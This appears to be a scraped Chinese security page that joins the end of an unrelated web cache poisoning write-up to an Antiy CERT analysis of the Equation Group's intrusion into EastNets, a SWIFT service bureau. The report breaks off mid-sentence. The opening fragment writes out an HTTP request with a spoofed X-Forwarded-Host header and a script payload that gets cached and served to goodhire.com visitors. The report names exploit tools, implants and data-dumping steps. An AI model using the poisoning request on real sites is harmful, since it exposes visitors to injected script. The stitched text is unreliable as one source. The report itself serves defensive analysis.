Goodhire.com显然是托管在HubSpot上的，而HubSpot提供优先级高于主机host 请求头的X-Forwarded-Server请求头，并且疑惑于这个请求用于哪个用户。虽然我们的输入在响应页面种回显，但它是HTML编码的，所以直接的XSS攻击在这里不起作用。要成功利用这一点，我们需要访问hubspot.com，注册为HubSpot用户，在我的HubSpot主页上放置一个payload，并且最终欺骗HubSpot在goodhire.com上提供此响应：
GET / HTTP/1.1
Host: www.goodhire.com
X-Forwarded-Host: portswigger-labs-4223616.hs-sites.com
HTTP/1.1 200 OK
…
<script>alert(document.domain)</script>
Cloudflare将乐意缓存此响应，并将其提供给后续访问者。
然而在将此报告上交给HubSpot之后，HubSpot通过永久封掉我的IP地址来解决问题。经过一番鼓动后，他们还是修补了漏洞。
像这样的内部错误路由漏洞在这些单个系统处理针对许多不同客户的请求的应用程序（SaaS应用程序）中特别常见。 | 社区文章 |
**作者：安天CERT**
**来源：[https://www.antiy.cn/research/notice&report/research_report/20190601.html](https://www.antiy.cn/research/notice&report/research_report/20190601.html)**
### **1、事件背景**
网空威胁行为体是网络空间攻击活动的来源，它们有不同的目的和动机，其能力也存在明显的层级差异。根据作业动机、攻击能力、掌控资源等角度，安天将网空威胁行为体划分为七个层级，分别是业余黑客、黑产组织、网络犯罪团伙或黑客组织、网络恐怖组织、一般能力国家/地区行为体、高级能力国家/地区行为体、超高能力国家/地区行为体（参见附件一）。其中，超高能力国家/地区行为体，或称为超高能力网空威胁行为体，拥有严密的规模建制，庞大的支撑工程体系，掌控体系化的攻击装备和攻击资源，可以进行最为隐蔽和致命的网络攻击。安天曾将这种网络攻击称之为A2PT（即高级的高级可持续性威胁）。
“方程式组织”（Equation Group）正是这样一种典型的超高能力网空威胁行为体。2015 年 2
月，由卡巴斯基实验室首次公开披露。卡巴斯基称其已活跃近 20 年，可能是当前最复杂的APT攻击组织之一[1]。安天多年来持续追踪“方程式组织”的威胁行为，从
2015 年 3
月至今，先后发布了四篇分析报告：《修改硬盘固件的木马——探索方程式组织的攻击组件》[2]，分析了其部分木马模块组件和基于硬盘固件持久化的机理；《方程式部分组件中的加密技巧分析》[3]，揭示了其资源的加密方法；《从“方程式”到“方程组”——EQUATION攻击组织高级恶意代码的全平台能力解析》[4]，揭示了其木马载荷的全操作系统平台覆盖能力，并独家曝光了其针对
Solaris 和 Linux 的样本；《方程式组织 Equation DRUG
平台解析》[5]，则形成了对其原子化作业木马的积木拼图。在这些工作中，我们最大的遗憾，莫过于这些分析依然停留在恶意代码分析的视角，我们只能对在已达成攻击目标的现场的有限提取结果，结合基于威胁情报扩线关联到的样本，来展开分析工作。从业内已发表的分析成果来看，无论对于方程式组织的活动，还是对于同样来自超高能力网空威胁行为体的“震网”[6]、“火焰”[7]、“毒曲”[8]等攻击活动，都基本建立在，对所使用漏洞的原理分析、对样本的逆向分析，以及对样本作用机理的复盘之上。尽管这些工作同样是复杂和艰难的，但并不能掩盖防御者对超高能力网空威胁行为体在战术和过程认知上的不足。这是因为，以“方程式组织”为代表的超高能力网空威胁行为体有一套完整、严密的作业框架与方法体系；拥有大规模支撑工程体系、制式化装备组合，进行严密的组织作业，高度追求作业过程的隐蔽性、反溯源性，使其攻击看似“弹道无痕”，其突破、存在、影响、持续直至安全撤出网络环境或系统的轨迹很难被察觉，导致防护者对其网空行动中实际的攻击技术、战术和过程（TTP）以及相应轨迹知之甚少，包括对于其从研究分析、信息采集、环境塑造、前期侦察，到入口突破、横向移动、持久化、隐蔽对抗、信息获取、长期控制等活动，无法在整个威胁框架视角进行全面的信息掌握和解读。
随着斯诺登的曝光，对于超高能力网空威胁行为体的相关工程体系、装备体系，有了更多可以分析的文献资料。而2017年，影子经纪人的爆料，则让一批攻击装备浮出水面。一方面，这些漏洞利用工具和恶意代码载荷的外泄，被其他低层级的网空威胁行为体快速而广泛的利用，包括酿成了魔窟（WannaCry）蠕虫大爆发等信息灾难；另一方面，这些信息也成为了安全研究者从完整的威胁框架角度去分析超高能力网空威胁行为体的攻击活动全貌的极为宝贵的研究资源。
其中在2017年4月14日，“影子经纪人”曝光的数据中包含一个名为 SWIFT 的文件夹，完整曝光了“方程式组织”针对 SWIFT
金融服务提供商及合作伙伴的两起网络攻击行动的详实信息：“JEEPFLEA_MARKET”和“JEEPFLEA_POWDER”。其中，2012 年 7 月至
2013 年 9 月期间发起的“JEEPFLEA_MARKET”攻击行动，针对中东地区最大的 SWIFT 服务提供商
EastNets，成功窃取了其在比利时、约旦、埃及和阿联酋的上千个雇员账户、主机信息、登录凭证及管理员账号；“JEEPFLEA_POWDER”攻击行动，主要针对
EastNets 在拉美和加勒比地区的合作伙伴BCG（Business Computer Group），但此次行动并未成功。
安天CERT 将多年对方程式组织的分析进展与这一文件夹中所曝光的各种信息线索进行了组合复盘，还原了“方程式组织”对 EastNets
网络的攻击过程。通过复盘我们可以看到，这是一起由超高能力网空威胁行为体发起，以金融基础设施为目标；从全球多个区域的预设跳板机进行攻击；以 0Day
漏洞直接突破两层网络安全设备并植入持久化后门；通过获取内部网络拓扑、登录凭证来确定下一步攻击目标；以“永恒”系列 0Day 漏洞突破内网
Mgmt（管理服务器） 、SAA
业务服务器和应用服务器，以多个内核级（Rootkit）植入装备向服务器系统植入后门；通过具有复杂的指令体系和控制功能平台对其进行远程控制，在SAA业务服务器上执行
SQL 脚本来窃取多个目标数据库服务器的关键数据信息的高级持续性威胁攻击事件。
安天分析小组力求以态势感知的工作思路形成过程复盘，对超高能力网空威胁行为体的攻击活动进行初步的抽丝剥茧，对接威胁框架视角的解读，为重要信息系统和关键信息基础设施的规划、建设和运维者，提供关于如何建立有效的防御体系的参考依据。
### **2、被攻击目标资产情况**
##### **2.1 SWIFT介绍**
SWIFT，全称 Society for Worldwide Interbank Financial
Telecommunications，中文名为“环球同业银行金融电信协会”，1973 年 5 月，由来自美洲和欧洲的 15 个国家的 239
家银行正式组建，总部设在比利时首都布鲁塞尔。该组织运营着世界级的金融报文网络，各国银行和其他金融机构通过其提供的安全、标准化和可信的通道与同行交换报文，从而完成金融交易。除此之外，SWIFT
还向金融机构销售软件和服务。截至 2015 年，SWIFT 的服务已经覆盖全球 200 多个国家和地区的 11000
多家银行和证券机构、市场基础设施和公司客户，每日处理的报文次数达到 1500 万。
##### **2.2 被攻击的SWIFT服务提供商介绍**
经过认证的 SWIFT 服务提供商（SWIFT Service
Bureau）为客户提供了一种高效访问完整SWIFT服务的方法，相当于客户的云提供商，目前全球共有74家。此次攻击行动的目标 EastNets
是中东地区最大的 SWIFT 服务提供商。
图 2-1 EastNets机构简介
总部设在迪拜的 EastNets 是全球领先的金融服务领域合规和支付解决方案提供商，提供多种涉及 SWIFT
交易的服务，包括合规性、了解客户以及反洗钱等。在过去的 35 年中，EastNets
利用特有的专业知识，为客户打击金融犯罪，制定和实施标准化及个性化解决方案，并提供风险管理、监控，分析及最先进的咨询服务和客户支持。EastNets
还专注于端到端支付解决方案，使金融机构能够将传统的支付挑战转化为机遇，并使其更有效，更具成本效益地运营。包括一些大型国际金融机构在内的 750 多家客户依赖
EastNets 解决方案和专业服务，270 多家企业和金融机构依靠 EastNets 提供外包 SWIFT 连接和合规软件解决方案。EastNets
在全球主要城市设有地区办事处，并由广泛的全球战略合作伙伴网络提供支持[9]。
根据 Treasury And Risk 的统计[10]，加盟到 SWIFT 中的成员，70% 会选择 SWIFT 服务提供商，来避免自建 SWIFT
产生的过高投入以及后续操作维护阶段的费用。SWIFT 服务提供商就像是客户的“云”一样，在客户间发生 SWIFT 交易以及信息交换时，由其通过 Oracle
数据库以及 SWIFT 软件来管理。正是因为可以访问所有这些银行交易，很多 SWIFT 服务提供商也可以提供合规性、了解客户以及反洗钱服务。
##### **2.3 被攻击资产简况**
分析此次“方程式组织”攻击行动可以发现，EastNets 网络环境按照不同功能特性从 VPN
接入、区域边界再到分管理服务器、应用服务器、数据库服务器等进行了一定的层次和分区设计，各个逻辑分区之间也做了基于端口、IP
的访问控制策略，部署了企业级防火墙，并且在服务器上部署了主流品牌的安全防护软件。但是即使这种具有一定的基础防护能力和防御纵深的网络信息系统，在面对超高能力网空威胁行为体的攻击时，依然被攻陷。
在此次攻击中，EastNets 网络遭受攻击的资产包括 VPN 防火墙设备、企业级防火墙设备、管理服务器、应用服务器、SWIFT
业务服务器、终端主机信息、登录凭证和安全防护软件与应用软件等资产，图2-2绘制了被攻击主要资产简况的拓扑图。
图 2 2 被攻击资产简况拓扑图
##### **2.3.1 被攻击的网络安全设备及网络设备信息**
EastNets 至少有 10 台以上的网络安全设备和网络设备被攻击或被探测，主要以 Cisco 和 Juniper
两种品牌为主，相关设备名称、软件版本、开放端口等信息，被方程式组织完全获取，并被影子经纪人泄露。详细信息如表 2-1 所示。
表 2-1被攻击的企业级防火墙设备的详细信息
##### **2.3.2 被攻击的管理服务器信息**
被攻击的管理服务器一共有 2 台，内网 IP 分别为 192.168.206.110（192.168.208.10 / 10.255.10.10） 和
192.168.206.111（192.168.208.11 /
10.255.10.11）。相关服务器主机名称、MAC地址、开放端口、安全防护软件和版本以及管理员用户名和口令信息等，被方程式组织完全获取，并被影子经纪人泄露。两台服务器均为
Windows Server 2008 系统，均开放了 445 和 3389 端口，其中一台安装了赛门铁克端点防护软件，另一台未安装防护软件。详细信息如表
2-2 所示。
表 2-2被攻击的管理服务器的详细信息
##### **2.3.3 被攻击的应用服务器信息**
被攻击的应用服务器共 4 台，其中包括邮件服务器、FTP 服务器等。相关服务器主机名称、MAC
地址、开放端口、安全防护软件和版本以及管理员用户名和口令信息等，被方程式组织完全获取，并被影子经纪人泄露。其中两台 FTP 服务器为 Windows
Server 2008 系统，均开放 21 端口，其中一台还开放了 22、135、446
端口，两台服务器均安装了赛门铁克端点防护软件。另外两台邮件服务器均为 Windows Server 2003 系统，邮件系统使用 Exchange
Server 搭建，均使用卡巴斯基端点防护软件进行防护。两台服务器均开放了 DNS 服务端口，其中一台提供 SMTP 和 POP3 服务，另一台通过
OWA（Outlook Web Access） 提供基于 HTTPS 协议的 Webmail 服务。详情如表 2-3 所示。
表 2-3被攻击的应用服务器的详细信息
##### **2.3.4 被攻击的SWIFT业务服务器信息**
遭遇攻击的 SAA（SWIFT Alliance Access）服务器有 10 台，其中有 6 台分属 5 家中东地区银行，有 3 台为多家银行共享的
SAA 服务器，有一台为共享 SAA 的备份服务器。这些服务器操作系统均为 Windows Server
2008，安装了赛门铁克的端点防护软件，这些服务器配置了相同的管理员口令。10 台服务器中有 9 台为“方程式组织”确定攻陷，其中 7
台有相关攻击日志记录。这十台服务器的主机名称、MAC 地址、开放端口、安全防护软件和版本以及主机管理员用户名和口令信息，其中 3 台 SAA 服务器上运行的
Oracle 数据库的管理用户名和口令信息，被影子经纪人泄露。详情如表 2-4 所示。
表 2-4被攻击的SAA服务器的详细信息
##### **2.3.5 被窃取的信息资产信息**
被窃取的信息资产主要有网络设备和网络安全设备的登录凭证、SAA
业务服务器中的多家银行机构业务数据（如账号名、账号状态、密码）等。根据分析网络设备和网络安全设备的配置文件信息，有不少于 300 个登录凭证被窃取。表
2-5
展示了经过屏蔽处理后的部分被窃取信息。从这些信息可以判断，方程式组织的攻击目的是获取部分其感兴趣的账号、密码，并进一步获取其资金情况和交易信息、资金流动轨迹等。
表 2-5 被窃取的部分信息资产信息
### **3、事件中所使用的攻击装备情况**
“方程式组织”攻击 EastNets 行动所使用的攻击装备可覆盖 EastNets 信息化场景中的多种设备和端点系统，包括网络边界的 VPN
防火墙设备、企业级防火墙设备、管理服务器以及支撑 SWIFT 业务的 SAA
服务器等。这些攻击装备大致可分为三类：漏洞利用工具和攻击平台、持久化工具、控制/后门恶意代码，全套攻击装备拥有覆盖全平台全系统的攻击能力[4]。
##### **3.1 漏洞利用工具和攻击平台**
相关漏洞攻击装备主要针对网络设备、防火墙等网络安全设备和各类端点系统，其主要作用为突破边界，横向移动，获取目标系统的权限，为后续植入持久化、控制载荷开辟通道。其中典型的漏洞攻击装备
EPICBANANA、EXTRABACON 和 1 个未知装备是针对防火墙的，本次攻击中，方程式组织使用了先进的 FuzzBunch 漏洞利用平台[11]
，针对 Windows 系统进行作业（其中包含至少 17 个漏洞利用插件，本次行动可能使用了其中的 5 个），详情见下表：
表 3 1 攻击EastNets所使用的漏洞利用工具列表
在本次攻击事件发生时，上述使用的漏洞皆为未公开漏洞。本次攻击中使用漏洞的总数超过了“震网”攻击事件（震网攻击中使用了 5 个 Windows 0day
和一个西门子 0day 漏洞），体现出了超高能力网空威胁行为体充足的攻击资源储备。其中的“永恒”系列漏洞利用工具均被装载于 FuzzBunch
攻击平台。FuzzBunch 是一个类似 MetaSploit
强大的涵盖大量漏洞攻击和载荷植入的攻击平台，采用行命令方式进行操作，其主要包含扫描探测工具集（Touch）、漏洞利用（Exploit）工具集、植入和配置更新工具、载荷（Payload）模块。扫描探测模块用于获取主机系统和相关服务指纹信息、可攻击的开放端口，以及确定目标是否存在指定漏洞；漏洞利用工具中至少包括17个漏洞的利用模块，其中两个被称为特别（Specials）漏洞，即永恒之蓝和永恒冠军两个重量级漏洞——这种标识可能是为保证在使用相关漏洞中是高度慎重的。植入工具中有两个模块，分别用于向被攻击主机输送攻击载荷并加载，以及投递和更新相关配置文件。功能载荷插件集主要用于漏洞模块攻击成功后向目标安装后门、加载DLL、枚举进程、增删改查注册表项、RPC服务等，其建立起了在主机侧的远控操作机制，这些操作符合安天在此前报告中，对其木马“设计框架化”、“组件积木化”、“操作原子化”的判断。FuzzBunch
平台的模块结构如图 3-1 所示。
图 3 1 FuzzBunch漏洞攻击平台的结构拆解
本次事件中所使用的漏洞攻击装备，安天曾在分析报告《安天关于系统化应对 NSA
网络军火装备的操作手册》[11]中对这些漏洞攻击装备进行过梳理和分析，绘制了漏洞利用关系图，如图 3-2。
图 3 2 泄露的NSA网络军火装备的漏洞利用关系图
##### **3.2 持久化/植入攻击装备**
超级网空威胁行为体高度重视在目标场景中形成持久化的能力，研发了大量实现持久化能力的装备。持久化攻击装备通常在突破目标后使用，主要针对
BIOS/UEFI、固件、引导扇区、外设等环节，难以发现和处置的深层次加载点，或形成可反复植入的作业机会窗口。在高级持续性威胁（APT）活动中，确保持续性能力。通过持久化提供的加载机会，攻击者可以保持与目标系统建立初始连接和初步控制权，并进一步输送复杂攻击载荷，从而实现对目标的完全控制和管理。此次攻击中使用了如下持久化装备：
表 3 2攻击EastNets所使用的持久化/植入攻击装备
其中，FEEDTROUGH[12] 是针对 Juniper、NetScreen
等防火墙进行固件层持久化的攻击装备，可以在防火墙启动时向系统植入载荷，这一技术与该攻击组织对硬盘固件的持久化思路如出一辙[2]，是更底层的难以检测和发现的持久化技术。
图 3 3 ANT-FEEDTROUGH攻击装备
根据斯诺登曝光的相关信息分析，NSA 的下属部门 ANT（全称为“先进网络技术”或“入侵网络技术”部门）拥有 FEEDTHROUGH 的持久化装备，ANT
具有整套持久化装备，立足于全面覆盖各种端点系统、外设和接口、无线网络和 GSM
蜂窝网络、主流网络设备和网络安全设备等，达成在各种信息场景中实现运载、植入和持久化。安天在早期曾对 ANT 的攻击装备进行过梳理，并形成了 ANT
的装备体系图，如图3-4。
图 3 4 ANT装备体系
##### **3.3 控制/后门类恶意代码**
此类攻击装备是攻击行动中最终植入到目标系统的载荷，用于持久化或非持久化对目标系统的控制。本次行动攻击者所使用的攻击装备如表3-3所示，其中前7项针对网络安全设备及网络设备，最后
1 项针对 Windows
主机系统。与持久化工具所追求的建立隐蔽的永久性入口不同，方程式组织在的控制/后门类恶意代码，更强调内存原子化模块加载作业，文件不落地，最大程度上减小被发现与提取的可能性。与持久化工具的组合，呈现出“藏于九地之下（固件等深层次未知），动于九天之上（内存）”的特点。
表 3 3攻击EastNets所使用的控制/后门攻击装备
DanderSpritz 是其中最典型的控制平台，拥有严密作业过程和丰富规避手段的模块化攻击平台，安天曾在《方程式组织 EQUATION DRUG
平台解析》[5]一文中对其进行了全面分析。DanderSpritz
拥有界面化的远程控制平台，具有复杂的指令体系和控制功能，与传统RAT程序有着明显的区别，一旦植入目标系统后会采集系统各类安全配置信息并提示攻击者哪些配置或信息可能会导致自身被发现或检测。其
payload
有多种连接模式，其中“Trigger”模式是一种激活连接模式，既不监听端口也不向外发出连接，而是通过监听流量等待攻击者的激活数据包，这使得控制端的部署变得灵活而难以被封禁。
图 3 5 DanderSpritz远程控制装备界面
DanderSpritz
具有模块化的架构设计，拥有非常丰富的标准化攻击工具和插件，是“方程式组织”网络武器代表。安天在此前分析报告中对“方程式组织”其他的木马模块插件进行梳理，整理了这些功能插件在攻击过程中可能形成的组合，并绘制了“方程式组织”主机作业模块积木图。该图初步展示了一个将主机情报作业按照“原子化”拆分的模块组合的拼装，如图3-6所示：
图 3 6 “方程式组织”主机作业模块积木图
在“方程式组织”主机作业模块积木图中可以看到，“方程式组织”通过模块化的方式涵盖了各个攻击阶段使用的武器。而每一个武器又有更细粒度的功能指令，比如创建据点阶段的“DoubleFantasy”武器就有分工明确的分支指令（如下图），不同指令之间相互配合可以完成一系列的操作行为。
图 3 7 DoubleFantasy指令分支
### **4、攻击过程复盘**
2012 年 7 月至 2013 年 9 月，“方程式组织”使用来自多个不同国家和地区的跳板 IP，对 EastNets 发起了 6
次网络攻击。攻击者通过先后 6 条不同的入侵路径相互配合，针对不同的系统和设备使用了包括“永恒”系列在内的多套攻击装备，最终攻陷了位于 EastNets
网络中的 4 台 VPN 防火墙设备、2 台企业级防火墙、2 台管理服务器，以及 9 台运行多国金融机构业务系统的 SAA 服务器和 FTP
服务器以及对外提供的邮件服务器。
图 4-1 “方程式组织”对EastNets网络的总体攻击过程复盘
##### **4.1 总体攻击过程**
从总体攻击上看，攻击者通过来自全球多个区域的跳板机器，使用多个 0Day 漏洞突破多台 Juniper SSG 和 CISCO
防火墙，然后植入持久化后门，使用“永恒”系列的 0Day 漏洞控制后续的内网应用服务器、Mgmt Devices(管理服务器) 和 SAA
服务器。除了突破防火墙，攻击者还突破了处于外网的邮件服务器，对外网的邮件服务器和同网段内的终端进行了扫描和信息搜集（如安全防护软件和应用软件安装情况）。在部分攻击过程中，虽然还存在一些诸如未能向终端植入持久化模块的失败操作，但通过多次入侵路径的先后配合，“方程式组织”最终还是完成了对
EastNets 网络全球多个区域的银行机构数据的窃取。
**攻击跳板：**
本次攻击所使用的互联网攻击跳板，均为被植入 PITCHIMPAIR 后门的商用 Unix、FreeBSD 或 linux
服务器主机，多数来自全球高校和科研机构。这些节点运行更多依靠系统自身的健壮性，和高校、科研机构人员的自我运维，而不像 Windows
环境一样，处于始终的高频对抗之中，反而推动了商用安全产品的保护能力的不断完善。对于超高能力网空威胁行为体来说，这种在商用安全能力感知之外的节点，反而成为一种理想的建立持久化跳板的目标。同时，由于这些服务器自身位于高校和科研机构，因此其并不简单的具备跳板价值，其本身也在不同时点会与直接情报获取活动产生直接关联，在不同形式和任务角色中，这些节点会被以不同的方式利用。2016
年 11 月影子经纪人曾公开一份遭受入侵的服务器清单，清单的日期显示 2000~2010 年间，以亚太地区为主的 49
个国家的相关教育、科研、运营商等服务器节点遭遇攻击，受影响的国家包括中国、日本、韩国、西班牙、德国、印度等。如图4-2。在相关爆料中，亦提及相关服务器可能是
Linux、FreeBSD 和 Solaris。这与方程式组织攻击EastNets所使用的跳板情况信息，形成了非常好的相互印证。
表 4 1“方程式组织”攻击EastNets网络使用的跳板机器
图 4-2：“方程式组织”在2000~2010年间对全球互联网节点的入侵可视化复现
总体攻击过程如下：
**步骤1：** 选择来自日本、德国、哈萨克斯坦和中国台湾的6台被入侵服务器作为跳板，利用 Juniper ScreenOS
软件的身份认证漏洞（CVE-2015-7755）攻击 EastNets 网络的 4 个 Juniper VPN 防火墙，攻击成功后向目标系统植入
FEEDTROUGH 持久化攻击装备到防火墙中，最后通过 FEEDTROUGH 向防火墙中植入 ZESTYLEAK 和 BARGLEE
两款后门攻击装备，实现对防火墙的完全控制。在其6次攻击中有2次是直接使用“永恒”系列漏洞攻击装备，向位于 DMZ
区域的邮件服务器进行攻击，并向内网进行扫描。
**步骤2：** 利用 EPICBANANA 或 EXTRABACON 漏洞攻击装备攻击 2 台 Cisco 企业级防火墙，攻击成功后向目标系统植入
JETPLOW 或 SCREAMINGPLOW，最后通过 JETPLOW 或 SCREAMINGPLOW 向防火墙系统植入
BANANAGLEE，实现对防火墙的完全控制。
**步骤3：** 利用“永恒”系列的 0Day 漏洞攻击两台管理服务器，攻击成功后向服务器系统植入 DoublePulsar 或
Darkpulsar，最后再通过 DoublePulsar 或 Darkpulsa r向服务器系统植入 DanderSpritz
平台生成的后门载荷（DLL），对其进行远程控制。
**步骤4：** 以 2 台管理服务器为跳板，利用“永恒”系列漏洞攻击装备获取后端的9台SAA业务服务器的控制权，使用的“永恒”系列漏洞包括
ETERNALROMANCE（永恒浪漫）、
ENTERNALCHAMPION（永恒冠军）、ETERNALSYNERGY（永恒协作）、ETERNALBLUE（永恒之蓝）。最后在 SAA 服务器上执行
SQL 脚本`initial_oracle_exploit.sql`和`swift_msg_queries_all.sql`，对本地 Oracle
数据库中存储的多家银行机构业务数据（账号名、账号状态、密码等）进行转储。还通过管理服务器对其它区域中的 FTP 服务器进行攻击。
##### **4.2 可视化复现**
根据上述总结分析，安天态势感知平台可视化组件对攻击行动的复现演示如图4-3所示。
图 4-3 安天态势感知平台可视化组件对攻击行动的复现演示点击查看攻击过程
### **5、网空威胁框架与本次事件的映射分析**
以“方程式组织”为代表的超高能力网空威胁行为体，具有庞大的攻击支撑工程体系、装备体系和规模化作业团队等特点，并在这些资源的支撑下，成功执行高度复杂的攻击活动。如果对类似攻击组织的分析停留在
0day
漏洞、恶意代码等单点环节上，既无助于对其整个过程进行全面的分析，也难以有效地指导防御工作。为应对高能力网空威胁行为体的攻击活动，安全人员需要有体系化、框架化的威胁分析模型，对其行为展开更深入、系统的分析，理解威胁，进而实现更有效的防御。当前类似的分析模型包括洛克希德·马丁公司（Lockheed
Martin）的 Kill Chain（杀伤链）和 MITRE 公司的 ATT&CK 等。
Kill Chain由洛克希德·马丁公司于 2011
年提出，定义了攻击者为达到目标必须要完成的7个阶段，并认为防御者在任意一个阶段打破链条，就可以阻止入侵者的攻击尝试。Kill
Chain将网络攻击模型化，有助于指导对网络攻击行动的识别和防御，但整体上粒度较粗，全面性不足，相应的应对措施也缺乏细节支撑。为解决上述问题，MITRE
公司在Kill Chain 的基础上，提出了 ATT&CK 模型，即对抗战术、技术和通用知识库，将入侵全生命周期期间可能发生的情况划分为 12
个阶段，分别为初始访问、执行、权限提升、防御逃避、凭证访问、发现、横向移动、收集、命令与控制、渗出和影响，每个阶段又细分了具体的攻击技术。ATT&CK
提供了对每一项技术的细节描述、用于监测的方法及缓解措施，有助于安全人员更好地了解网络面临的风险并开展防御工作。但 ATT&CK
侧重于具体的攻击技术，在层次性和对入侵行为的分类方面偏弱。
NSA 和 CSS 参考各类现有框架，于 2018 年 3 月发布了《 NSA/CSS 技术网空威胁框架》（NSA/CSS Technical Cyber
Threat
Framework）（以下简称“威胁框架”）V1版本，该框架是一个基于国家情报总监（DNI）网空威胁框架开发的、与网空行为活动紧密结合的通用技术词典，NSA
在整个情报体系内共享这一词典，实现对情报共享、产品研发和作战规划的支撑，促进情报体系各机构间更紧密地合作。
随着网络威胁不断升级，NSA 和 CSS 在“威胁框架” V1 的基础上进行调整和延伸，对其中划分不细致、归类不准确的内容进行重新梳理，于 2018 年
11 月发布了 V2 版本。“威胁框架” V2 共包含 6
个阶段（Stage）、21个目标（Objective）、188种行为（Action）和若干个关键词（Key
Phrases），提供了标准定义，能够指导讨论攻击者全生命周期内的活动，呈现攻击事件全貌，可视化攻击者所使用的策略及手段，协助安全人员制定针对性的防御措施。
由于“威胁框架”尝试将各种可能的目标和行为涵盖在内，其恰恰将其自身和关联的专属攻击能力也涵盖在内。例如，“方程式组织”覆盖各种型号硬盘固件持久化能力，“量子”（QUANTUM）攻击系统修改通信路径的能力，“湍流”框架下的被动信号收集系统“混乱”（TURMOIL）向中点发送信标、仿冒合法流量的能力等等，都能够在“威胁框架”中得到映射，体现出其体系化、复杂化的网空攻击能力。因此，“威胁框架”对于梳理来自超高能力网空威胁行为体的网空攻击活动来说，就成为了非常有效的方法框架体系。
图 5 1 NSA/CSS技术网空威胁框架
安天以“威胁框架” V2
为参考，对超高能力网空威胁行为体攻击行动的各阶段行为进行标准化描述和分类，协助分析这些行为体的意图和行为，为相关防御工作的开展提供借鉴。
通过本次事件的复盘分析，可将该事件中涉及的威胁行为映射到“威胁框架” V2
中。攻击者基于长期环境准备，在多个国家或地区建立大量跳板机资源，可以随时选择发起攻击，利用 ZESTYLEAK、BARGLEE、BANANAGLEE
攻击装备打击防火墙，获得防火墙权限，实现对设备的控制并管理服务器。利用“永恒”系列漏洞获取服务器控制权后在其上执行 sql 脚本，查询与服务器相连的
Oracle 数据库中的信息，获取凭证以及内部架构信息。利用已获取的凭证对相关 Windows
的主机和服务器实现远程登陆，横向移动到不同的办公地点主机继续收集相关用户凭证。最后，采用数据加密等规避手段防止受害者发现威胁。这些行动都能够与“威胁框架”的类别与动作建立映射。
图 5 2 本次事件映射到威胁框架
这一攻击事件共涉及 15 个目标中的 47 种行为，其中包括推测的和确定执行的行为。经过分析，确定使用的行为如下：
侦察：收集凭证、测绘可访问网络、扫描设备；
环境预制：应用数据文件中添加可利用点、建立跳板、预置载荷；
投递：利用受感染主机；
利用：利用固件漏洞、利用本地应用程序漏洞、利用操作系统漏洞、利用远程应用程序漏洞、利用零日漏洞；
执行：通过服务控制器执行、利用解释脚本、利用系统接口、写入磁盘；
内部侦察：枚举账号和权限、枚举文件系统、枚举操作系统和软件、枚举进程、测绘可访问网络、嗅探网络；
提权：利用操作系统漏洞；
凭证访问：定位凭证；
横向移动：远程登录、利用远程服务、写入远程文件共享；
渗出：从本地系统收集、从网络资源收集、压缩数据；
命令与控制：中继通信；
规避：规避数据大小限制、加密数据、操纵受信进程、仿冒合法流量、使用rootkit、将文件存储在非常规的位置、根据环境调整行为。
同时，对于进行这种复杂、严密、动用大量网空攻击装备资源的攻击，必然有系统的前期准备工作，包括规划统筹、确定目标、选择攻击装备（也可能包括为现有攻击装备不覆盖的IT场景临时研发装备）等。
### **6、事件总结**
基于对被攻击资产情况、所使用攻击装备和攻击过程的复盘梳理，这份报告基本呈现出了整体的攻击全貌。从时间发生的 2012~2013
年的背景来看，被攻击目标的布防情况，总体体现出在那个时代信息资产的布防特点，部署了包括
VPN、防火墙、主机杀毒等基础安全环节，对内部资产做了基本的分区，进行了一定的配置加固等等。这些防护手段是建立起网络防御体系的基本工作，对于防范一般性的网络攻击是有效的，但对于防护超高能力网空威胁行为体则是完全不足的。
同时，通过相关泄露的资料，也可以看到系统管理者存在一些非常明显的配置和安全策略失误。例如，同组的多台服务器采用相同的超级用户口令，导致一旦其中一台的口令被提取还原或嗅探，就可以被连锁突破；不同组的服务器口令存在明显的“公共部分+序号”的可猜测规律；防火墙没有对可以访问管理接口的
IP 地址作出明确的限定策略等。
但建立起能够有效防御高级网空威胁行为体的防御体系，并不是简单的查缺补漏，而是一个复杂艰巨的过程：
（1）
必须直面开放式场景和信息系统规模增长带来的安全挑战，全面提升网络安全规划能力，落实全生命周期的安全规划建设运维。传统银行系统依靠物理安全隔离保障自身资产的时代早已过去，随着跨行转账、通存通兑，类似
SWIFT
等服务就必然成为在公网上可以到达的基础设施。必须立足于开放式场景的现实条件、信息系统规模日趋扩大和复杂度日趋增加的前提，信息系统的开放度越高，规模越庞大，就越需要在规划、建设和运维的全生命周期同步提升网络安全整体能力，就越需要系统全面的安全规划。
（2）
重要信息资产和规模性信息资产，需要以“敌已在内，敌将在内”作为客观敌情设定。鉴于当前信息系统的规模、供应链的复杂程度以及各类信息交换的必然性，将威胁阻挡在边界（安全网关或网闸）之外已经是一种高度不现实的想象。对于掌握大量突破隔离网络装备、可以渗透配送物流环节、可以进行上游供应链预置作业的超级网空威胁行为体来说，其既可能从网络边界逐层突破，也可能借助其他作业手段直接建立内部桥头堡。因此，对于关键基础设施和重要信息系统，必须将“敌已在内”和“敌将在内”作为最基础的敌情设定。安天在2017年提出了“有效的敌情想定是做好网络安全防御工作的前提”的观点，这是源于军事演习的防御思考，但在过去两年的理念的不断推动实践中，我们日趋感到网络空间所面临的风险，比演习想定更为严峻。敌将在内，可以作为一种想定，指导“防患于未然”的规划。而敌已在内，则已经构成了“现实战情”，需要具备将威胁行为体“找出来，赶出去”的威胁猎杀能力。
（3）
参考的“威胁框架”，更新对威胁行为体和攻击活动的系统性认知，以深化和完善敌情设定，进而改善防御。网络防御者必须直面高级网空威胁行为体，掌握着大量高级装备和攻击资源，其行动是复杂过程组合的既定事实，同时复杂的过程并不必然均由“高级”攻击手段和“高级”装备支撑。一方面，一些低级的配置错误和未及时修补的漏洞会成为威胁行为体进入的入口；另一方面，高级网空威胁行为体也会劫持和利用低级网空威胁行为体所掌控的僵尸网络等资源。将安全防护工作视为对各种威胁类型如恶意代码、DDoS、网站篡改和僵尸网络等的一一应对，进行产品堆砌，显然不能组合起有效防御体系。而从威胁框架出发，针对威胁每个阶段、逐个行为推演，无论对评估当前防御体系及相关安全产品能力的有效性和合理性，还是对形成体系化的防御规划与建设目标，都是一种有益的工作。
（4） 任何单点环节均可能失陷或失效，包括网络安全环节本身。在复盘过程中可以看到，虽然整个 SWIFT
